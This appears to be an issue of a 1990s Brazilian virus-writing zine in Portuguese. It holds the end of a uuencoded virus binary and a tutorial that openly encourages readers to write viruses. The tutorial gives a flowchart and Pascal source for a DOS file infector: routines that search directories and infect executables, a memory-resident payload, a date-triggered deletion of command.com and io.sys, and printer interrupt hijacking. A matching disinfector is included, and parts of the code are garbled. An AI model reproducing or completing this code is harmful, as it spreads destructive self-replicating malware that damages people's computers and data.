M\\<8`T-(4N?TP"D+1T#GV/M4H5:)5^7CX^GO&%<[7TJ6S+J4Y+L85VM+2QK+2 \par MT]+1QK+24]+1I0\\NKXYJU2JP4='KU,:NTM/2.26.%=7&%=;5TJ63412DI9\\N \par M2#R4O)$@4I0>9M6EKM$4.XFOA*5E47HJL-71ZU*'A!"RTR17AP<$I7M1AX2E \par M^5&'A*5T48>$Q@'2TBJP4='K4`0D482ES5$'%+T'*K#9T>M8*K#!T>M2QJ[2 \par M4](4,`3&KM)3TJ7=42JP\\='K4H>$$++3)%>'!P2E4U&'A*7148>$I2S1*K"1 \par MT>M2AX00LM`D4(<'!/T4/D2]B2[$,(2EOM'&%-[4TL9$SM?2PA5.QA36U=)_ \par M_OQ\\_3#Y>'GX^GK&E-[3TL:4SE/2QA3:TM(4*M0\\ZU`')%&'U"[K7)$N4>O7 \par MU#SKTSFU)-:YM234U#SKTSFQ)-"YL=0\\ZU-(L`0D4,BPA*`T?O[\\?7S],`W3 \par MT90LD2)0N22Y))$NT>M6D2Y1ZU:1+M#K5J7YT217I=G1)-6ER-$D4*7*T:"[ \par MI7'1,*7\\KHF.*C/0T>O0KK&$QA7.U-)(L02E0M&-%2HJ,]#1ZU"-%:X$,(D- \par MA,8!U=($,(G2A*74T8W64@0PC=9>!##Y>'GXI=JN2#64MI&@4NM7D:Q1ZU>1 \par MK-#K5Z5(T?Q]?/TPI7+1)*JE^M$D*1`@5A`LU^A0$"37E!(<U80P$"!>$"S= \par MZ%`0)-TY(!02`M4$,)$A4JXQI3,O2#R4O*JR4>M3I3TN)%"E,"Z@I#"))(21 \par M(5*N,90QA*4`+Y2PA*"M,*6<+Q"@4A2\\E!(ZU821(5*N,90QN:&$I0`NH"PP \par M7.T8LLI@":.'E-/RF<NYL;FUA)53<IF@=6L'%-/R\\DLYL3FU!!53<G*@=6N9 \par MK_!P<_1T=ZTMK"P5,Q4_%3<5.TV]3;5-N0K1"-$2O!(X$B02I!(_$CN(T8K1 \par 623Q)N$TP33%-L/E\\^?SI:>AHZVOJ:F5C \par ` \par end \par ;;;;;;;;;;;;;;;;;;;;; Freddy.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;;; \par \par \par Bom, esta ai os fontes do "anti-virus" e o virus tambem esta ai, \par embora esteja uuencodado. Creio que nossa miss\'c6o continua e estamos in- \par do no sentido correto, o de levar v\'a1rus brasileiros a leitores brasile- \par ros, uma parada nacional, a id\'82ia \'82 boa, vamos ver se V\'a1rus Brasil vai \par durar ... \par \par T+ \par \par nim_bus@hotmail.com \par \par Ps. \'d3 galera, desculpe mesmo, mas n\'e3o tive tempo nem de testar o UUencode pra ver se na hora que eu coloquei ele dentro do RTF funciona, qualquer erro, favor me dar um toque, valeu ... Bom para evitar esta o v\'edrus esta em anexo em freddy.vom e o detector em det_fk.com , bom \'e9 isso ...\plain\f5\fs32\cf1\b\i\ul \par \par \par \par \pard\qc\plain\f5\fs72\cf1\b\i\ul Tutorial de V\'edrus em Pascal\plain\f6\fs20 \par \pard\plain\f6\fs20 \par \par \plain\f4\fs22 \tab Agrade\'e7o antes de mais nada a LeBeau pelas cr\'edticas a mim endere\'e7adas \par e que contribuiram bastante para a reestrutura\'e7\'e3o do zine, valeu pelo tutorial \par e estamos ai ... \par Mat\'82ria datada de 23.5.1997 ,infelizmente nao executei os programas \par apresentados na materia, pois n\'c6o tive tempo, mas dei uma lida (din\'83mica) \par em toda ele e acho que o v\'a1rus apresentado ao seu final deva funcionar \par perfeitamente, ou precisara de ajustes minimos... \par Os v\'a1rus feitos em linguagens de alta n\'a1vel, sao denominados HLL \par (High Language Level) e creio que n\'c6o devam existir muitos desse tipo, e \par nacionais acho que deve ser um exemplar \'a3nico (minto, tem alguns do Sangue \par Sujo tamb\'82m ...). \par Bom estamos a\'a1. A mat\'82ria \'82 demasiadamente longa e paro esse \par preview por aqui. \par Qualquer coisa manda um e-mail. \par \par t+ \par nim_bus@hotmail.com \par \par \par \par Materia na Integra obtida na Internet ... \par \par \par \plain\f6\fs20 V\'a1rus em Pascal \par +-------------------------TVIRUS.TXT--------------------------------------+ \par | | \par | TUTORIAL DE COMO CRIAR UM VIRUS | \par | ------------------------------- | \par | | \par | Como eu diria: Conhecimento e poder, ter paciencia para alcanca-lo e | \par | fundamental. | \par | | \par | Mat\'e9ria de LeBeau (Valeu pelos coment\'e1rios ...) \par | | \par | v. 1.01 Last modified: 23/05/97 | \par --------------------------------------------------------------------------- \par \par \par \par Proposito do tutorial: \par --------------------------------------------------------------------------- \par \par Antes de nada, eu fiz esse virus para aqueles que ja tenham algum \par conhecimento em logica/programacao em Pascal ou outra linguagem, Espero com \par esse texto mostrar/ensinar/incentivar a criacao de virus, materia pouco \par tratada por nos brasileiros, poucos sao aqueles que fazem virus (Nao estou \par dizendo que nao ha, existir existe mas eles nao aparecem para divulgar o \par que fez tipo montando um zine brasileiro somente sobre criacao de virus com \par as sua variadas tecnicas), geralmente o que o pessoal faz e colocar uma co- \par pia de um virus em sua HP, so para constar. Bom, eu adoro a criacao de vi- \par rus, venho criando/arrumando meu virus ja de um tempo atras, antes mesmo de \par conhecer a Internet eu ja fazia algo sobre o assunto, mas depois que eu \par conheci a Net que eu pude me inteirar mais sobre o assunto,atraves de Zines \par como a 40hex americana e a Minotauro argentina, sou colecionador de virus, \par tenho mais ou menos 50 virus em casa mais 3 programas que criam virus e \par percebi o quanto o Brasil estava atrasando quanto a isso. Portanto, eu re- \par solvi criar esse tutorial de como fazer um virus em Pascal (Porque em Pas- \par cal? Leia a Introducao e voce sabera) o virus que eu mostro nesse tutorial \par foi o primeiro que eu fiz, do tipo normal, fora esse eu tenho mais outro \par virus de um genero diferente: COMpanion. \par \par Bom antes que eu me esqueca, esse tutorial e de genero educacional \par somente, O autor do Tutorial/criador do virus nao se responsabilizara pelas \par idiotices que os leitores fizerem com esse tutorial/virus. \par \par Esse texto, nao trata apenas de virus, trata de logica de virus e \par tudo que envolve isso, ele ensina/mostra muita coisa que voce pode por em \par algum programa que nao tenha nada a ver com virus. \par \par --------------------------------------------------------------------------- \par \par \par \par Introducao: \par --------------------------------------------------------------------------- \par \par Vamos comecar esse tutorial tendo em mente uma coisa: O que e um \par virus de computador? \par \par Um virus de computador nada mais e' que um programa que se auto- \par copia,ou seja, nao e necessario que eu digite um comando especifico que a- \par tive ele, basta executar o programa que contem o virus (Geralmente sem que- \par rer), o que eu pretendo fazer com esse texto e tentar ensinar a vc como \par criar um virus simples em pascal, tentando mostrar a logica dele. Eu peguei \par a linguagem Pascal para fazer esse virus, por que para mim ela e uma das \par melhores que existem, e tambem para ensinar a logica do virus o Pascal e \par otimo, eu poderia ter criado um tutorial de como fazer um virus em ASM, mas \par poucos iriam poder usufruir totalmente da logica, por outro lado quase todo \par mundo programa em Pascal, entao ai esta. So tem uma coisa que eu nao gos- \par tei nesse virus em Pascal: O tamanho dele pronto, ele fica com um tamanho \par variando de 8 K a 12 K, o que para um virus e muito, em ASM ou C ficaria em \par torno de 1 K a 4 K, mas a pessoa que ler esse texto pode muito bem passar \par esse programa do Pascal para o C ou ASM, caso alguem faca isso, eu pediria \par para que me enviassem o codigo final. \par \par Depois disso, vamos tratar de criar um plano de ataque para o meu \par virus, ou seja como ele vai agir. \par \par --------------------------------------------------------------------------- \par \par \par \par Teorizando: \par --------------------------------------------------------------------------- \par \par O virus que eu fiz em Pascal trabalha do seguinte jeito, ele copia \par somente o virus para um arquivo temporario e depois ele copia o arquivo \par hospedeiro para o final dele, depois apagava o arquivo hospedeiro original \par do disco e renomeava o arquivo temporario de modo a ter o nome do arquivo \par hospedeiro. \par \par Seria algo como concatenacao de arquivos, se eu fosse fazer isso em \par DOS, eu faria assim: \par \par \par Comandos: \par --------- \par \par copy /b virus.exe+arquivo.exe virtemp.tmp \par \par del arquivo.exe \par \par ren virtemp.tmp arquivo.exe \par \par Onde: \par ----- \par virus.exe = virus (somente) \par \par arquivo.exe = arquivo hospedeiro (Pode ser extensao .exe \par ou .com, nao ha diferenca) \par \par virtemp.tmp = arquivo infectado temporario \par \par /b = realiza copia binaria \par \par \par --------------------------------------------------------------------------- \par \par \par \par Problemas: \par --------------------------------------------------------------------------- \par \par So que o virus nao e tao simples assim. Problemas a serem tratados: \par \par 1) O DOS nesse caso, somente executaria o virus, deixando o programa hospe- \par dado sem ser executado, o certo e que ele seja executado. \par \par 2) A data e hora do arquivo ficam alterados, o certo e que elas continuem \par inalteradas. \par \par --------------------------------------------------------------------------- \par \par \par \par Possiveis solucoes: \par --------------------------------------------------------------------------- \par \par 1) Criar uma funcao que desfaca o que foi feito, gravando o arquivo com ou- \par tro nome e depois executando ele de dentro do virus. \par \par 2) Gravar data e hora do arquivo para variaveis e depois recoloca-las no \par arquivo. \par \par --------------------------------------------------------------------------- \par \par \par \par Outras questoes a abordar: \par --------------------------------------------------------------------------- \par \par 1) Reproducao - Ele tem que se reproduzir, senao ele nao pode ser chamado \par de virus. \par \par 2) Execucao - Ele tera que executar o programa hospedeiro. \par \par 3) Acoes que ele possa vir a fazer - Algo que se coloque no codigo do pro- \par grama para que o virus execute, tipo apagar command.com, impedir que a im- \par pressora imprima (em modo DOS), tocar sons e/ou fazer uma bolinha passear \par na tela (Isso o que eu geralmente uso), ou entao fazer dele um virus anti- \par virus. \par \par 4) Programa Anti-virus - Isso mesmo um anti-virus, seria a coisa mais idio- \par ta voce fazer um virus e nao ter uma protecao contra ele, uma vez que voce \par vai realizar varios testes, vai que ele escapa do seu controle. O Anti-vi- \par rus no caso seria um programa SEU em Pascal que desinfectasse o arquivo. \par \par 5) Programa que mostra o tamanho e o cabecalho do seu virus - O virus ne- \par cessita de informacoes quanto a si proprio para agilizar o esquema. \par \par 6) Encriptacao - Esconder os dados de alguem que veja o conteudo do virus! \par \par 7) Quantos arquivos a serem infectados - Quantidade maxima de arquivos a \par serem infectados. Questao de seguranca. \par \par --------------------------------------------------------------------------- \par \par \par \par Fluxograma: \par --------------------------------------------------------------------------- \par \par \par Virus Executado \par | \par | \par (inicinf)Iniciar infeccao nos caminhos \par c:\\dos\\*.com, c:\\dos\\*.exe, *.com, *.exe \par c:\\windows\\*.com, c:\\windows\\*.exe \par | \par | \par (infec)Infecta os arquivos do diretorio fornecido. \par | \par | \par (procura)Procura primeiro arquivo a infectar \par | \par | \par +---------> (verifica) Arquivo Infectado? -------S------------------------+ | | | | N | | (infec)Copia virus (sem arq hospedeiro) | \par | para um arquivo chamado virtemp.tmp | \par | | | | Copia arquivo ser infectado a partir | | do fim do virus (concatenacao): | | copy /b virtemp.exe+arquivo.exe virtemp.tmp | | | | Grava data e hora do arquivo em variaveis. | | | | | | | \par | Apaga arquivo original a ser infectado (del arquivo.exe) | \par | | | \par | | | \par | Renomeia virus com arquivo infectado(virtemp.tmp) para | \par | arquivo.exe: ren virtemp.tmp arquivo.exe | \par | | | \par | | | \par | Recupera a data e hora do arquivo hospedeiro | \par | | | \par | | | \par +-------------S-- Procura mais arquivos. <---------------------------------+ \par Existem mais arquivos? \par | \par | N \par (executa)Iniciar execucao do programa hospedeiro \par | \par | \par Separar programa hospedeiro do virus \par | \par | \par Posicionar ponteiro no fim do virus (e inicio do arquivo) \par | \par | \par Iniciar a copiar a partir deste ponto \par ate o fim do arquivo (Resultado: programa \par sem virus pronto a ser executado) \par para um arquivo chamado virtemp.TMP \par | \par | \par Executar arquivo virtemp.tmp \par | \par | \par Limpar o conteudo do arquivo virtemp.tmp (de modo que \par nao se possa recuperar o que tinha dentro dele) \par | \par | \par Apagar o arquivo virtemp.tmp \par | \par | \par Iniciar procedimentos que ele possa vir a fazer \par (Apagar arquivos, mexer com a impressora, etc). \par | \par | \par Fim do virus \par \par --------------------------------------------------------------------------- \par \par \par \par Iniciando a infectar: \par --------------------------------------------------------------------------- \par \par Vamos iniciar a infeccao, nesse caso seria somente iniciar o caminho \par que se quer infectar. Nesse caso: c:\\dos\\*.com, c:\\dos\\*.exe, *.com, *.exe, \par c:\\windows\\*.com, c:\\windows\\*.exe, junto disso deve ser dado o diretorio \par de trabalho. \par \par \{ *************************** InicInf ************************************ \} \par Procedure inicinf; \par begin \par if MOSTRA then writeln('Iniciando infeccao dos arquivos'); \par arquiv:=0; \par procura('*.com',''); \par procura('*.exe',''); \par procura('c:\\windows\\*.com','c:\\windows\\'); \par procura('c:\\windows\\*.exe','c:\\windows\\'); \par procura('c:\\dos\\*.com','c:\\dos\\'); \par procura('c:\\dos\\*.exe','c:\\dos\\'); \par if MOSTRA then writeln('Infeccao dos arquivos Finalizada. Com um total de:'); \par if MOSTRA then writeln(arquiv,' arquivos infectados.'); \par end; \par \{ *************************** InicInf ************************************ \} \par \par Como se pode ver, essa procedure somente lanca outra, outra coisa, e \par preciso fornecer um diretorio de trabalho para o esquema poder funcionar di- \par reito. \par \par --------------------------------------------------------------------------- \par \par \par \par Infeccao de virus: \par --------------------------------------------------------------------------- \par \par Essa parte ainda seria um procedure que lanca outra, mas ela traba- \par lharia mais a nivel de arquivo do que a anterior. \par \par \{ *************************** Procura ************************************ \} \par procedure procura(nome,dir:string); \par begin \par if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome); \par FindFirst(nome, Archive, DirInfo); \par \{$i+\} \par while (DosError = 0) and (arquiv'COMMAND.COM') then begin \par HORAINI(NOME); \{Grava data e hora do arquivo\} \par assign(FromF,nome); \par reset(FromF,1); \par assign(ToF,'virtemp.tmp'); \par Rewrite(ToF,1); \par repeat \par BlockRead(FromF, buf2, SizeOf(buf2), numread); \par BlockWrite(ToF, buf2, numread, NumWritten); \par until (numread = 0) or (NumWritten <> numread); \par close(FromF); \par close(tof); \par \{ Ate aqui seria a parte onde se copia o arquivo a ser infectado para \par outro arquivo temporario \} \par assign(FromF,nome_arq); \{ nome_arq: explicado mais tarde \} \par reset(FromF, 1); \par assign(ToF, nome); \par Rewrite(ToF, 1); \par BlockRead(FromF, buf, SizeOf(buf), numread); \{ Caso vc nao se lembre, \par o BUF e o buffer que \} \par BlockWrite(ToF, buf, numread, NumWritten); \{ contera o virus, que \par nesse caso ele copiara \} \par close(FromF); \{ somente o virus para o \par arquivo a ser infectado\} \par close(tof); \{ (arquivo.exe) em que ha- \par via sido movido o seu \par conteudo para virtemp.tmp \par deixando, por enquanto \par somente o virus no ar- \par quivo \} \par assign(FromF,'virtemp.TMP'); \par reset(FromF, 1); \par assign(ToF, nome); \par reset(tof,1); \par seek(tof,LENVIRUS); \{Posiciona o ponteiro do arquivo na posicao final \par do arquivo\} \par repeat \par BlockRead(FromF, buf, SizeOf(buf), numread); \par BlockWrite(ToF, buf, numread, NumWritten); \par until (numread = 0) or (NumWritten <> numread); \par close(FromF); \par close(tof); \par erase(fromf); \par HORAFIM(NOME); \par end; \par \{Essa parte seria a concatenacao virus+arquivo, onde o arquivo seria \par acrescentado no fim do virus\} \par if MOSTRA then writeln('Infeccao completa.'); \par end; \par \par procedure procura(nome,dir:string); \par begin \par if MOSTRA then writeln('Iniciando infeccao do diretorio: ',nome); \par FindFirst(nome, Archive, DirInfo); \par \{$i+\} \par while (DosError = 0) and (arquiv numread); \par close(FromF); \par close(tof); \par exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3)); \{Executa o programa aqui\} \par rewrite(tof); \{Agora vou limpar o conteudo e apagar o arquivo\} \par close(tof); \par erase(tof); \par if MOSTRA then writeln('Execucao do programa hospedeiro finalizada'); \par end; \par \par --------------------------------------------------------------------------- \par \par \par \par Corpo Principal do programa: \par --------------------------------------------------------------------------- \par \par Vamos ter que iniciar as funcoes do virus: \par \par \{ ************************* Principal ************************************ \} \par begin \par if MOSTRA then writeln('Iniciando o Virus'); \par nome_arq:=paramstr(0); \{ Essa variavel ira conter o nome do programa que \par esta sendo executado no momento. Caso o nome que \par foi executado seja EDIT.exe essa variavel \par contera EDIT.EXE\} \par SETCBREAK(FALSE); \{Para que o usuario nao possa apertar Ctrl-C\} \par contra(nome_arq); \par inicinf; \par executa; \par apag_arq; \par GetIntVec($1c,@int1c); \{Essa parte sera vista mais adiante\} \par SetIntVec($1c,Addr(bola)); \par vbola:=false; \par cx:=random(80);\{Aleatorizar a posicao da bola na tela\} \par cy:=random(24); \par GetIntVec($17,@printer); \{ Essa parte sera vista mais adiante \} \par SetIntVec($17,Addr(escrever)); \{ Essa parte mostra ao computador para \par usar O procedimento escrever como pa- \par drao para a impressora\} \par if MOSTRA then writeln('Fim do virus.'); \par keep(0); \{Deixa o programa residente na memoria.\} \par if mostra then writeln('Programa Residente'); \par end. \par \par --------------------------------------------------------------------------- \par \par \par \par Programas necessario a execucao do Virus: \par --------------------------------------------------------------------------- \par \par Vou mostrar alguns programas necessarios para o correto uso desse \par virus: \par \par 1) Programa que determina o cabecalho e ja mostra o tamanho do executavel. \par \par Esse programa tem que ser colocado em um arquivo com o seguinte codigo: \par \par \{ *************************** Cabecalho ********************************** \} \par program Cabecalho; \par uses crt; \par var \par arq: file; \par NumRead, NumWritten: Word; \par Buf: array[1..5] of Char; \par begin \par Assign(arq, 'virus.exe'); \{ Open input file \} \par Reset(arq, 1); \{ Record size = 1 \} \par Writeln('Tamanho do Virus: ', FileSize(arq), ' bytes...'); \par BlockRead(arq, Buf, SizeOf(Buf), NumRead); \par Close(arq); \par writeln('Cabecalho: ',buf[1],buf[2],buf[3],buf[4],buf[5]); \par writeln('Codigo Ascii: ',ord(buf[1]),' ',ord(buf[2]),' ',ord(buf[3]),' ',ord(buf[4]),' ',ord(buf[5])); \par end. \par \{ *************************** Cabecalho ********************************** \} \par \par \par 2) Programa Antivirus: Para se ter um programa anti-virus desse virus, e \par necessario os seguintes dados: LENVIRUS e os primeiros 5 bytes do arquivos \par Lenvirus e fundamental pois so com ele se pode desinfectar os arquivos. \par \par Uma vez que e ele quem fornece a posicao do fim do virus e inicio do \par arquivo que vai ser liberado. \par Os primeiros 5 bytes podem ser arrajandos atraves do programa Cabecalho \par visto anteriormente. O codigo de um programa antivirus com todos os dados \par preenchidos ficaria assim: \par \par \{ *************************** AntiVirus ********************************** \} \par program antivirus; \par uses crt,dos; \par const \par CAB:string[5]=CHR(77)+CHR(90)+CHR(48)+CHR(1)+CHR(23);\{ CABECALHO DO VIRUS \par ALTERE SE MODIFICADO\} \par LENVIRUS = 11568; \par \par PROCEDURE limpa(nome:string); \par var \par buf: array[1..LENVIRUS] of Char; \{Tamanho do virus\} \par buf2: array[1..2048] of Char; \{Variavel necessaria para a copia\} \par numread, NumWritten: Word; \par fromf,tof:file; \par begin \par assign(FromF,nome); \par reset(FromF, 1); \par if filesize(fromf)>lenvirus then begin \par assign(ToF, 'virtemp.tmp'); \par rewrite(tof,1); \par seek(fromf,LENVIRUS); \{ Posiciona o ponteiro do arquivo na posicao final \par do arquivo \} \par repeat \par BlockRead(FromF, buf, SizeOf(buf), numread); \par BlockWrite(ToF, buf, numread, NumWritten); \par until (numread = 0) or (NumWritten <> numread); \par close(FromF); \par close(tof); \par erase(fromf); \par rename(tof,nome); \par end; \par end; \par \par function verifica(nome:string):boolean; \par VAR \par buf: array[1..10] of Char; \par numread:WORD; \par con:integer; \par vfile:file; \par begin \par con:=1; \par assign(vFile,NoME); \par reset(vFile,1); \{ Record size = 1 \} \par BlockRead(vFile, buf, SizeOf(buf), numread); \par IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then \par begin \par \{Verifica o cabecalho do arquivo\} \par verifica:=TRUE \{para ver se ja foi infectado\} \par end ELSE \par begin \par verifica:=FALSE; \par end; \par close(vFile); \par END; \par \par procedure procura_arqs(direct:string); \par var \par DirInfo: SearchRec; \{ For Windows, use TSearchRec \} \par begin \{ For Windows, use faArchive \} \par FindFirst(direct, Archive, DirInfo); \{ Same as DIR *.PAS \} \par while DosError = 0 do \par begin \par if verifica(dirinfo.name) then begin \par Writeln(DirInfo.Name); \par limpa(dirinfo.name); \par end; \par FindNext(DirInfo); \par end; \par end; \par \par \par \par begin \par procura_arqs('*.exe'); \par procura_arqs('*.com'); \par end. \par \par \{ *************************** AntiVirus ********************************** \} \par \par --------------------------------------------------------------------------- \par \par \par \par Acoes do virus: \par --------------------------------------------------------------------------- \par \par Vou dar alguns exemplo de acoes que o virus pode vir a fazer: \par \par \par 1) Torna-lo residente em memoria, e algum tempo depois de ser executado ele \par mostrara uma bola passeando na tela. \par \par 2) Apagar arquivos \\command.com e \\io.sys a partir da data 12/07/98 \par \par 3) Tocar um beep a cada vez que o usuario teclar uma tecla. \par \par 4) Impedir que a impressora imprima. \par \par 5) Que tal um virus anti-virus? \par \par --------------------------------------------------------------------------- \par \par \par \par Exemplos de acoes do virus: \par --------------------------------------------------------------------------- \par \par 1) Para fazer uma bola passear na tela e preciso torna-lo residente, e para \par isso e necessario o seguinte: \par \par --> incluir uma linha: \{$M $8500,0,0 \} na primeira linha, seria a parte de \par memoria a ser reservada para o programa. O valor pode ser alterado. \par \par Essa parte determina a quantidade de memoria que o virus tera quando \par ficar residente, com esse valor ficaria com cerca de 45 k, um valor \par alto demais, mas voce pode alterar o valor a vontade, desde que voce \par teste o virus. \par \par Tambem recomendaria incluir a seguinte linha depois do $M : \par \{$S-,R-,I-,V-,f+\}, mesmo que voce deixe ele residente ou nao. \par \par --> incluir uma variavel global int1c : Procedure; mais vx,vy,cx,cy:integer; \par para determinar a posicao da bola na tela, mais vbola:boolean para dar \par um tempo quando vbola for true, sera executado o codigo para mexer o \par cursor, ate la nao aparece nada. \par \par --> incluir o seguinte codigo de programa: \par \par \par \{ **************************** Bola ************************************ \} \par \par procedure bola; interrupt; \par var \par cont:integer; \par begin \par if not vbola then \par if port[$60]<$80 then \par inc(con); \par if con=550 then \par vbola:=true; \par if vbola then \par begin \par cont:=random(4)+1; \par vy:=wherey; \par vx:=wherex; \par gotoxy(cx,cy); \par write('\'db'); \par case cont of \par 1:if cx<78 then inc(cx); \par 2:if cx>1 then dec(cx); \par 3:if cy<23 then inc(cy); \par 4:if cy>1 then dec(cy); \par end; \par gotoxy(cx,cy); \par write('\'fe'); \par gotoxy(vx,vy); \par end; \par inline ($9C); \par int1c; \par end; \par \par \{ **************************** Bola ************************************ \} \par \par \par Mais o seguinte no codigo de programa na parte principal do virus: \par (de preferencia uma linha antes do end.): \par \par vbola:=false; \par vx:=random(80);\{Aleatorizar a posicao da bola na tela\} \par vy:=random(24); \par GetIntVec($1c,@int1c); \par SetIntVec($1c,Addr(bola)); \par keep(0); \{Esse Keep faz com que o programa finalize E fique residente na \par memoria, permitindo entao que se use as Interrupcoes $1C e a \par $17 ($1C seria uma interrupcao que e executada ininterrupta- \par mente, permitindo que se faca uma bola passear pela tela, $17 \par seria a impressora, visto mais adiante) \par \par \par \par \par 2) Para apagar os arquivos \\command.com e \\io.sys a partir da data 12/07/98 \par (data em que faco 20 anos, belo presente, ne?). Seria necessario o seguinte: \par \par \{ ************************** Apaga_Arq ********************************* \} \par procedure apag_arq; \par var \par m,dia,ano,dow:word; \par mes:boolean; \par f:file; \par \par begin \par if mostra then writeln('Pegando data atual'); \par getdate(ano,m,dia,dow); \par mes:=false; \par if ano=1998 then \par if m>=7 then \{Data de ativacao: 12/07/1998\} \par if dia>=12 then \par mes:=true; \par if ano>1998 then mes:=true; \par if mostra then writeln('Pegando data atual finalizado'); \par if mes then begin \par if mostra then writeln('Iniciando a apagar os arquivos: \\command.com e \\io.sys'); \par assign(f,'c:\\command.com'); \par erase(f); \par assign(f,'c:\\io.sys'); \par erase(f); \par end; \par end; \par \{ ************************** Apaga_Arq ********************************* \} \par \par Mais a linha apag_arq no corpo principal. \par \par \par \par 3) Para tocar um beep a cada vez que o usuario tecla algo, e necessario \par acrescentar o seguinte codigo de programa na procedure bola, vista ante- \par riormente: \par \par if Port[$60] < $80 then \par begin \par Sound(5000); \par Delay(1); \par Nosound; \par end; \par \par \par 4) Para impedir que a impressora imprima, e necessario que se entenda um \par pouco de interrupcoes: E o seguinte, tudo no computador funciona por meio \par de interrupcoes, o teclado, o mouse, o video, A IMPRESSORA, tudo mesmo e \par controlado por interrupcoes, no caso nos vamos mexer com a impressora, mas \par voce poderia fazer o que bem entender com o que voce quiser no computador. \par \par Podia travar a maquina, reseta-la, entre outros. Vou mostrar agora \par o codigo desse procedimento: \par \par \{ ************************** Escrever ********************************* \} \par \par procedure escrever;interrupt; \par begin \par Sound(random(5000)); \par Delay(1); \par Nosound; \par inline ($9C); \par printer; \par end; \par \par \{ ************************** Escrever ********************************* \} \par \par Impede a impressora de imprimir e ainda faz barulho. Ahh, isso nao \par funciona dentro do Win95, no Win 3.1x funciona, grande avanco de um para o \par outro ne? \par \par Mais o seguinte codigo uma linha antes do keep(0) visto na questao 1: \par \par GetIntVec($17,@printer); \par SetIntVec($17,Addr(escrever)); \{Essa parte mostra ao computador para usar \par O procedimento escrever como padrao para a \par impressora\} \par \par Mais a variavel global: \par \par printer:procedure; \par \par \par \par 5) Um Virus anti-virus nesse caso, seria impedir que qualquer virus estranho \par seja executado DUAS vezes no arquivo infectado com esse virus, e o seguinte : \par \par Os virus estranhos (diferentes deste) normalmente alteram os 3 pri- \par meiros bytes do programa executavel colocando la um jump (JMP em ASM para \par quem conhece, pulo de um lugar para outro para quem nao conhece NADA) para \par executar o virus e depois volta para a posicao depois do jump, executando \par o programa normalmente, o que nos faremos e o seguinte, guardar os primeiros \par 5 bytes (para garantir vai 5) para depois caso o programa se altere, repor \par os bytes originais, impedindo que o programa de um jump ate o virus, so que \par o virus estranho vai ser executado uma vez, depois dele ser executado, o \par virus em Pascal ira limpar os primeiros bytes do arquivo, so tem um defeito, \par ele limpa o inicio, o fim do arquivo fica no mesmo estado que estava antes, \par ou seja, com o virus, so que agora ele esta inativo. Essa funcao serve mais \par para avisar ao usuario que o computador esta infectado por algum virus. Um \par exemplo disso vai a seguir, sendo que para se testar a desinfeccao e \par necessario fornecer um nome de arquivo que vai ser o nome do virus: \par \par \par \{ ************************** Proc_Anti ********************************* \} \par procedure contra(non:string); \par var \par FromF, ToF: file; \par ARQ:text; \par Ft:FILE of char; \par f:file; \par \par function vervir(nome:string):boolean; \par VAR \par Buf: array[1..10] of Char; \par NUMREAD:WORD; \par con:integer; \par begin \par if mostra then writeln('Iniciando verificacao de infeccao do arquivo ',nome); \par con:=1; \par ASSIGN(F,NoME); \par ReSET(F,1); \{ Record size = 1 \} \par BlockRead(F, Buf, SizeOf(Buf), NumRead); \par IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND (BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN \par \{Verifica o cabecalho do arquivo\} \par vervir:=TRUE \{para ver se ja foi infectado\} \par ELSE \par vervir:=FALSE; \par Close(F); \par if mostra then writeln('Verificacao de infeccao finalizada'); \par END; \par \par procedure antivir; \par begin \par if not vervir(non) then \par begin \par if mostra then writeln('Arquivo Infectado, tentando desinfectar...'); \par \{ Arquivo infectado, tentando desinfectar... \} \par aSSIGN(Ft,paramstr(0)); \par ReSET(Ft); \{ Record size = 1 \} \par write(ft,cab[1]); \par write(ft,cab[2]); \par write(ft,cab[3]); \par write(ft,cab[4]); \par write(ft,cab[5]); \par close(ft); \par if mostra then writeln('Desinfeccao completa!'); \{Desinfeccao completa\} \par textcolor(white+blink); \par writeln('Atencao: Seu computador esta infectado por virus! Sugiro passar Anti-virus!'); \par textcolor(white); \par end; \par end; \par \par begin \par if mostra then writeln('Inicio do procedimento anti-virus.'); \par antivir; \par if mostra then writeln('Fim do procedimento anti-virus.'); \par end; \par \par \{ ************************** Proc_Anti ********************************* \} \par \par Eu sugiro que a linha contendo o codigo contra(nome_arq); seja colo- \par cada antes da linha inicinf;, porque se o programa estiver infectado por \par algum virus estranho o virus em Pascal ira reinfectar o arquivo atual. \par \par --------------------------------------------------------------------------- \par \par \par \par Constantes a serem usadas: \par --------------------------------------------------------------------------- \par \par Esse programa necessita de algumas constantes para ter melhor con- \par trole sobre si proprio. \par \par CONST \par LENVIRUS=11616; \{TAMANHO DO VIRUS - ALTERE SE MODIFICADO, USE O PROGRAMA \par CABECALHO PARA ISSO\} \par CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+CHR(23); \{ CABECALHO DO VIRUS - ALTERE SE MODIFICADO, \par USE O PROGRAMA CABECALHO PARA ISSO\} \par MAXBUFLEN=1024; \{Tamanho do buffer em bytes a ser copiado por vez\} \par FILES=10; \{Arquivos a serem infectados por vez\} \par MOSTRA=true; \{Voce quer saber o que o seu virus esta fazendo?\} \par \par --------------------------------------------------------------------------- \par \par \par \par Variaveis globais a serem usadas: \par --------------------------------------------------------------------------- \par \par Sem explicacoes, e necessario ter variaveis para o programa poder \par funcionar. \par \par \par VAR \par fvir,vfile,fromf,tof:file; \{Arquivo que vai conter o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias \par para a copia do virus \} \par con:integer; \{variavel contadora\} \par int1c : Procedure; \{Esses dois serao vistos em exemplos de acoes do virus\} \par printer:procedure; \par buffer:ARRAY[1..MAXBUFLEN] OF CHAR; \{Necessario para a copia de arquivos\} \par vx,vy,cx,cy:integer; \{Coordenadas x,y da bola na tela\} \par h, m, s, hund,day,mon,year : Word; \{Necessario para conter a data e a hora do arquivo\} \par dat:datetime; \{Vai conter a hora do arquivo\} \par ftime:longint; \{Hora do arquivo\} \par vbola:boolean; \par nome_arq:pathstr; \{Ira conter o nome do arquivo com o virus, muito necessario\} \par arquiv:integer; \{Quantidade de arquivos infectados ate o momento\} \par dirinfo:searchrec; \{Muito usado no virus, e responsavel por procurar arquivos onde eu \par quiser usando coringas (*.exe,c:\\dos\\*.com)\} \par \par --------------------------------------------------------------------------- \par \par \par \par Bibliotecas de funcoes necessarias ao funcionamento: \par 